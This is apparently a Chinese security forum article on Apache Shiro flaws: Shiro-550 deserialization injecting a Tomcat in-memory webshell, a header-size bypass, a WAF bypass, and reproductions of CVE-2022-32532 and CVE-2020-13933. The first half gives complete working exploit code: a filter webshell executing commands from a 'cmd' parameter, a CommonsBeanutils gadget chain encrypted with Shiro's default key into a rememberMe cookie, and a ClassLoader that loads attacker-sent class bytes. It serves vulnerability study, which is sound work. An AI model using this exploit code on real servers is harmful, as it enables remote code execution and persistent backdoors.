在JSP中可以成功得到ServletRequest对象, 而使用Shiro550进行内存马注入时, 会因为Subject获取不到产生错误.

为什么获取不到呢?原因则是调用到Shiro漏洞点时, Subject还未被Shiro放入到线程中去. 最终以失败告终. 这里调试过程就不献丑了.

注入 Tomcat 内存马

由于我们可以得到ServletContext | request对象, 所以我们可以进行内存马注入. 那么我们编写如下POC:

public class NeiCunMa extends AbstractTranslet implements Filter {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // 内存马请求过来主要逻辑
        HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
        String requestURI = httpServletRequest.getRequestURI();
        System.out.println(requestURI);
        if ("/evil".equals(requestURI)) {
            InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
            byte[] myChunk = new byte[1024];
            int i = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((i = inputStream.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, i);
            }
            servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }
    }

    static { // 在 static 代码块中进行注入内存马
        try {
            ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
            HttpServletRequest request = requestAttributes.getRequest();
            ServletContext servletContext = request.getServletContext();
            Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
            ApplicationContextContext.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
            Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
            StandardContextContext.setAccessible(true);
            StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
            // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName("heihuFilter");
            standardContext.addFilterDef(filterDef);
            filterDef.setFilterClass(NeiCunMa.class.getName()); // 设置自己
            filterDef.setFilter(new NeiCunMa()); // 放入自己, 因为自己就是 Filter
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filterDef.getFilterName());
            filterMap.setDispatcher("[REQUEST]");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps

            // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
            Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
            declaredConstructor.setAccessible(true);
            ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

            // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
            myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
            filterConfigs.set(standardContext, myFilterConfigs);
        } catch (Exception e) {}
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void destroy() {}

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

在static中进行注入内存马即可. 准备生成RememberMe的脚本:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = Repository.lookupClass(NeiCunMa.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());

Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
comparatorClazzConstructor.setAccessible(true);
Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.

// beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);

priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
// 如上已准备好 CB 链
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
byte[] escapeData = bos.toByteArray();
// 如上已准备好序列化后的值
AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
System.out.println(encrypt.toBase64()); // 准备 Base64 值

最终生成的RememberMe打请求会遇到请求头最大错误:

image-20241017212857119.png

当我们NeiCunMa这个类的字节码, 实现Filter之后, 加入我们注入内存马的逻辑, 会变得特别大. 字节码大了, 经过AES + BASE64后的值会更大, 这里超过了这个大小. tomcat的maxHttpHeaderSize默认值只有 4096 个字节 (4k), 我们可以临时修改TOMCAT目录/conf/server.xml文件, 扩大maxHttpHeaderSize:

<Connector port="8080" protocol="HTTP/1.1"
           connectionTimeout="20000"
           redirectPort="8443"
           maxParameterCount="1000"
           maxHttpHeaderSize="409600000"
           />

加入这行后, 我们打过去, 内存马就成功注入到其中了.

绕过请求头大小限制

刚才我们设置的TOMCAT目录/conf/server.xml, 某些版本tomcat可以通过payload调取反射修改maxHttpHeaderSize,而某些又不可以.

所以这里并不使用这个方法, 在这里参考其他师傅的文章, 发现可以传递一个恶意的ClassLoader, 执行POST中发送的恶意类内容.

准备如下恶意类:

public class EvilClassLoader extends AbstractTranslet {
    static {
        try {
            ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
            HttpServletRequest request = requestAttributes.getRequest(); // 拿到 request
            String classData = request.getParameter("classData"); // 拿到 Class 值
            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class clazz = (Class) defineClassMethod.invoke(EvilClassLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
            clazz.newInstance();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

很简单, 加载POST中的base64, 解码后当作类字节码进行加载, 随后我们准备如下内存马:

public class NeiCunMa implements Filter {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // 内存马请求过来主要逻辑
        HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
        String requestURI = httpServletRequest.getRequestURI();
        if ("/evil".equals(requestURI)) {
            InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
            byte[] myChunk = new byte[1024];
            int i = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((i = inputStream.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, i);
            }
            servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }
    }

    static { // 在 static 代码块中进行注入内存马
        try {
            ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
            HttpServletRequest request = requestAttributes.getRequest();
            ServletContext servletContext = request.getServletContext();
            Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
            ApplicationContextContext.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
            Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
            StandardContextContext.setAccessible(true);
            StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
            // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName("heihuFilter");
            standardContext.addFilterDef(filterDef);
            filterDef.setFilterClass(NeiCunMa.class.getName()); // 设置自己
            filterDef.setFilter(new NeiCunMa()); // 放入自己, 因为自己就是 Filter
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filterDef.getFilterName());
            filterMap.setDispatcher("[REQUEST]");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps

            // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
            Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
            declaredConstructor.setAccessible(true);
            ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

            // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
            myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
            filterConfigs.set(standardContext, myFilterConfigs);
        } catch (Exception e) {}
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void destroy() {}
}

准备如下POC生成rememberMe:

public class Exp01 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
        Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] = Repository.lookupClass(EvilClassLoader.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());

        Class<?> comparatorClazz = Class.forName("javax.swing.LayoutComparator");
        Constructor<?> comparatorClazzConstructor = comparatorClazz.getDeclaredConstructor();
        comparatorClazzConstructor.setAccessible(true);
        Comparator o = (Comparator) comparatorClazzConstructor.newInstance();

        BeanComparator beanComparator = new BeanComparator("outputProperties", o); // outputProperties 可控, 第二个参数传递一个可序列化的 Comparator.

        // beanComparator.compare(templates, templates); // 将可控的 templates 传入, 调用则弹计算器
        PriorityQueue priorityQueue = new PriorityQueue(beanComparator); // 为了防止序列化前, 就会调用 compare 方法, 这里先传递一个没用的 Comparator
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);

        priorityQueue.add(templates); // 将可控的 templates 传入, 调用则弹计算器
        size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
        priorityQueue.add(templates);
        size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
        // 如上已准备好 CB 链
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(priorityQueue);
        byte[] escapeData = bos.toByteArray();
        // 如上已准备好序列化后的值
        AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
        ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
        System.out.println(encrypt.toBase64()); // 准备 Base64 值
    }
}

生成POST中的字节码, 这里一定要进行URL编码一次, 否则会传递失败:

public class MyBase64 {
    public static void main(String[] args) {
        String encode = URLEncoder.encode(Base64.getEncoder().encodeToString(Repository.lookupClass(NeiCunMa.class).getBytes()));
        System.out.println(encode);
    }
}

最终可以注入内存马, 并不报错:

image-20241018193321462.png

绕过请求头大小文章推荐: https://xz.aliyun.com/t/10696#toc-9

https://zhuanlan.zhihu.com/p/395443877

javassist: https://xz.aliyun.com/t/14107

脏数据绕 WAF 原理

在网上看到有人通过在rememberMe中加入脏数据, 从而成功绕过WAF, 下面我们来看一下为什么.

image-20241016215858547.png

可以看到, 图中加了一系列脏数据, 但是计算器仍然可以弹出来. 其原因则是Shiro在处理Base64解码时的原理, 我们定位到解码函数看一下:

image-20241016223515633.png

可以看到, 在Base64解密时, Shiro会忽略特殊字符, 这就导致成为了绕WAF的一种手段.

Shiro 721 条件: 1.2.5 - 1.4.2

Shiro 721 可以说是一个密码学的一个缺陷, 漏洞触发点是一样的, 只是不再是默认KEY. 笔者密码学浅薄, 就不在这里板门弄斧了.

参考: https://blog.csdn.net/Destiny_one/article/details/141137744

CVE-2022-32532 Shiro < 1.9.1 认证绕过

搭建过程就不描述了, 这里使用SpringBoot + Shiro的一个环境, 参考本文就可以. 只不过我们修改一下Shiro的引入版本即可:

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.9.0</version>
</dependency>

调用点回顾

根据我们前面读取Shiro底层源码可知, Shiro会对每次请求进行处理, 对当前的URI与Shiro中已经配置好的过滤器进行匹配, 其匹配核心过程为AbstractShiroFilter::doFilterInternal方法为请求起点, 这里把流程图简单看一下.

image-20241019150441058.png

可以看到, 整个URL路径的匹配的过程是交给PathMatcher的, 而PathMatcher的实现类只有AntPathMatcher && RegExPatternMatcher这两种.

漏洞产生原因

其中漏洞点在于RegExPatternMatcher这个PathMatcher. 这个Matcher的匹配规则很简单:

public boolean matches(String pattern, String source) {
    if (pattern == null) {
        throw new IllegalArgumentException("pattern argument cannot be null.");
    }
    Pattern p = Pattern.compile(pattern); // 使用了默认的匹配规则, 并没有设置匹配模式.
    Matcher m = p.matcher(source);
    return m.matches();
}

使用Java原生的正则表达式进行匹配. 而原生匹配模式中, 这样会返回false.

public class T1 {
    public static void main(String[] args) {
        Pattern p = Pattern.compile("/admin/.*");
        Matcher m = p.matcher("/admin/hel\nlo"); // 遇到换行符, 返回 false.
        boolean matches = m.matches();
        System.out.println("匹配结果: " + matches); // 返回 false
    }
}

放在URL匹配中, /admin/.*表达的含义为: 匹配admin目录下的所有路径. 但由于没有设置正则表达式的点号匹配所有模式, 这里可以通过%0a 换行符进行绕过, 从而绕过了Shiro安全框架的检测.

修复漏洞案例如下:

public class T1 {
    public static void main(String[] args) {
        Pattern p = Pattern.compile("/admin/.*", Pattern.DOTALL);
        Matcher m = p.matcher("/admin/hel\nlo");
        boolean matches = m.matches();
        System.out.println("匹配结果: " + matches); // 返回 true
    }
}

漏洞鸡肋点

而Shiro默认使用的匹配器为AntPathMatcher, 如下:

public AbstractShiroFilter getObject() throws Exception { // ShiroFilterFactoryBean::getObject
    if (instance == null) {
        instance = createInstance();
    }
    return instance;
}
protected AbstractShiroFilter createInstance() throws Exception { // ShiroFilterFactoryBean::createInstance()
    SecurityManager securityManager = getSecurityManager();
    FilterChainManager manager = createFilterChainManager();
    PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); // 注意这里
    chainResolver.setFilterChainManager(manager);
    return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver); // SpringShiroFilter 访问修饰符是 private
    /*
        private static final class SpringShiroFilter extends AbstractShiroFilter {...}
    */
}
public PathMatchingFilterChainResolver() {
    this.pathMatcher = new AntPathMatcher(); // 默认使用 AntPathMatcher, 而不是 RegExPatternMatcher
    this.filterChainManager = new DefaultFilterChainManager();
}

所以默认的Shiro在程序员不设置RegExPatternMatcher的情况下, 漏洞是无法触发的.

漏洞复现

想要漏洞复现, 就需要手动配置一下RegExPatternMatcher, 并重写AbstractShiroFilter::createInstance的方法逻辑, 自己设置一个RegExPatternMatcher过去. 那么我们就必须继承ShiroFilterFactoryBean, 重写AbstractShiroFilter::createInstance方法, 由于SpringShiroFilter这个类的访问权限为private, 所以我们只能在AbstractShiroFilter这个类中进行重新定义.

坑点: 不能使用 createFilterChainManager

定义如下ShiroFilter:

public class MyShiroFilter extends ShiroFilterFactoryBean {
    @Override
    protected AbstractShiroFilter createInstance() throws Exception {
        SecurityManager securityManager = (SecurityManager) getSecurityManager();
        FilterChainManager manager = createFilterChainManager();
        PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); // 注意这里
        chainResolver.setPathMatcher(new RegExPatternMatcher()); // 默认匹配器改为 RegExPatternMatcher
        chainResolver.setFilterChainManager(manager);
        return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
    }

    static final class SpringShiroFilter extends AbstractShiroFilter {
        protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
            setSecurityManager(webSecurityManager);
            setFilterChainResolver(resolver);
        }
    }
}

这里笔者复现时, 遇见了一个问题, 就是我们不能通过createFilterChainManager()方法来创建FilterChainManager, 因为这个方法会增加一个默认路由. 受到了CVE-2020-13933的修复影响.

protected FilterChainManager createFilterChainManager() {
    // ... 其他代码
    manager.createDefaultChain("/**");
    return manager;
}

根据Shiro底层原理, 当我们的/admin/.*绕过成功后, 会继续匹配/**, 而/**使用了RegExPatternMatcher会抛出正则表达式错误, 因为/**不是一个合法的正则表达式. 所以我们只可以通过new FilterChainManager(). 但new FilterChainManager()不会对filters成员属性进行初始化, 没有filters成员属性, 也就意味着我们没有任何拦截器可用, Shiro就失效了! 所以我们还需要手动加几个系统内置的Filter, 很是麻烦!

那么我们修改后的定义如下:

public class MyShiroFilter extends ShiroFilterFactoryBean {
    @Override
    protected AbstractShiroFilter createInstance() throws Exception {
        org.apache.shiro.mgt.SecurityManager securityManager = getSecurityManager();
        // FilterChainManager manager = createFilterChainManager(); // 改为如下情况
        FilterChainManager manager = new DefaultFilterChainManager();
        manager.addFilter("authc",new FormAuthenticationFilter()); // 根据底层需要, 被迫手动添加
        manager.addToChain("/user/.*", "authc"); // 根据底层需要, 被迫手动添加
        PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
        chainResolver.setPathMatcher(new RegExPatternMatcher()); // 默认匹配器改为 RegExPatternMatcher
        chainResolver.setFilterChainManager(manager);
        return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
    }

    static final class SpringShiroFilter extends AbstractShiroFilter {
        protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
            setSecurityManager(webSecurityManager);
            setFilterChainResolver(resolver);
        }
    }
}
坑点: 手动创建 Filter, 并加入 PathMatchingFilterChainResolver

上述修改完毕后仍然失败, 原因则是, Shiro提供的所有Filter中, 也有自己的匹配器, 它们默认依然是AntPathMatcher:

image-20241019172215264.png

所以我们只能通过自定义一个Filter, 来装上RegExPatternMatcher, 漏洞才能触发.

public class MyAuthenticationFilter extends AccessControlFilter {
    public MyAuthenticationFilter() {
        super();
        this.pathMatcher = new RegExPatternMatcher(); // 被迫修改系统内置的 PatternMatcher, 否则漏洞无法触发.
    }
    @Override
    protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) throws Exception {
        response.getWriter().println("no permission!");
        return false; // 设置没有权限访问
    }
    @Override
    protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
        return false; // 设置没有权限访问
    }
}

并且配置在MyShiroFilter中:

public class MyShiroFilter extends ShiroFilterFactoryBean {
    @Override
    protected AbstractShiroFilter createInstance() throws Exception {
        org.apache.shiro.mgt.SecurityManager securityManager = getSecurityManager();
        // FilterChainManager manager = createFilterChainManager(); // 改为如下情况
        FilterChainManager manager = new DefaultFilterChainManager();
        manager.addFilter("authc",new MyAuthenticationFilter()); // 根据底层需要, 被迫手动添加
        manager.addToChain("/user/.*", "authc"); // 根据底层需要, 被迫手动添加
        PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver();
        chainResolver.setPathMatcher(new RegExPatternMatcher()); // 默认匹配器改为 RegExPatternMatcher
        chainResolver.setFilterChainManager(manager);
        return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver);
    }

    static final class SpringShiroFilter extends AbstractShiroFilter {
        protected SpringShiroFilter(WebSecurityManager webSecurityManager, FilterChainResolver resolver) {
            setSecurityManager(webSecurityManager);
            setFilterChainResolver(resolver);
        }
    }
}

ShiroAutoConfiguration配置如下:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean shiroFilterFactoryBean = new MyShiroFilter();
    shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器
    shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
    shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
    return shiroFilterFactoryBean;
}
成功复现

定义控制器如下:

@GetMapping("/user/{data}")
@ResponseBody
public String getData(@PathVariable String data) {
    return "OK~~ data: " + data;
}

看一下两种情况对比:

image-20241019173152238.png

实际场景中, 几乎不可能遇到这样编码的程序员. 需要具备三个条件:

  • 程序员感觉 Shiro 提供的默认匹配器不好用, 大费周章的自己研究怎么搞正则表达式匹配器
  • 程序员知道了怎么搞正则表达式匹配器, 但是总是匹配不上 (匹配到/**), 所以程序员去翻了底层代码进行研究
  • 程序员终于配置好了, 正则表达式匹配器也能用, 于是程序员成功使用了.*

总结: 实战很难遇到, 概率有点非人性化了, 但作为Java漏洞学习一切都值了. 2333...

CVE-2020-13933 Shiro < 1.5.4 认证绕过

漏洞复现

搭建过程就不描述了, 这里使用SpringBoot + Shiro的一个环境, 参考本文就可以. 只不过我们修改一下Shiro的引入版本即可:

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.5.3</version>
</dependency>

以及本漏洞需要的配置信息, 配置在ShiroAutoConfiguration中:

@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
    shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器

    HashMap<String, String> filterChainDefinitionMap = new HashMap<>(); // 准备过滤好需过滤的 URL
    filterChainDefinitionMap.put("/user/*", "authc"); // 登陆过后才能访问, 使用 /user/任意值 也可以进行漏洞复现
    filterChainDefinitionMap.put("/login", "anon"); // 登录口无需
    shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);

    shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
    shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
    return shiroFilterFactoryBean;
}

漏洞触发需要/user/*一个星号, 如果是/user/**则不行, 我们准备对应的控制器:

@RestController
@RequestMapping("/user")
public class UserController {
    @RequestMapping("/{data}")
    public String data(@PathVariable String data) {
        return "success! data: " + data;
    }
}

那么我们先来一波复现:

image-20241019182904047.png

下面我们来进行漏洞复现.

漏洞分析

我们知道的是, 在Shiro中, URL匹配是由AntPathMatcher进行处理的, 在处理之前, 会经过一次PathMatchingFilterChainResolver::getChain操作, 我们看一下该方法做了什么操作:

image-20241019200703761.png

可以看到, 最终调用了HttpServletRequest.getServletPath()方法, 比较有意思的是, Tomcat会自动对传递过来的getServletPath()进行URL解码操作, 笔者在这里准备一个JSP页面:

<% out.println(request.getServletPath()); %>

image-20241019200919699.png

那么回到程序正常走向, 看一下后面做了什么操作.

image-20241019201351250.png

最后处理完毕之后, 删除了最后的/, 变为了/user:

image-20241019202542840.png

而我们知道的是, Shiro匹配路径信息, 默认是使用的PathMatchingFilterChainResolver::getChain, 而我们的/user最终会调用到该方法中, 由于图中处理比较复杂, 所以笔者将分块截图.

image-20241019204719597.png

那么我们继续往下看:

image-20241019210049763.png

可以看到的是:

  • 如果规则是/user/**的话, 那么进入到最后的for循环之后, 最终return true, 这样仍然调用进了Shiro的过滤器进行认证等操作.

  • 那么这里如果是*, 就会直接返回一个false, 从而绕过了过滤器验证.

而未经过任何验证, 就进入到了SpringBoot的DispatcherServlet中, 而我们知道的是, Spring容器封装了Tomcat, 我们最终的请求打过去, 最终也会被SpringBoot中的模糊匹配所匹配到, 例如:/xxx会被/{path}匹配.

@RestController
@RequestMapping("/user")
public class UserController {
    @RequestMapping("/{data}")
    public String data(@PathVariable String data) { // SpringBoot 可以找到, 并且 data 由于被 Tomcat 处理, 所以 data 值最终接收的为:  ;xxx
        return "success! data: " + data;
    }
}

Reference

https://www.bilibili.com/video/BV1pa4y1471s/

https://xz.aliyun.com/t/10696

https://www.cnblogs.com/zwh0910/p/17168833.html

https://blog.csdn.net/m0_54853503/article/details/126114009

https://blog.csdn.net/weixin_44251024/article/details/86544900

https://blog.csdn.net/weixin_54902210/article/details/129122996

https://cert.360.cn/report/detail?id=0a56bda5f00172dd642f2b436ed49cc7

https://bbs.zkaq.cn/t/30954.html

https://www.cnblogs.com/dustfree/p/17589314.html

关于作者

heihu57767篇文章689篇回复

评论5次

要评论?请先  登录  或  注册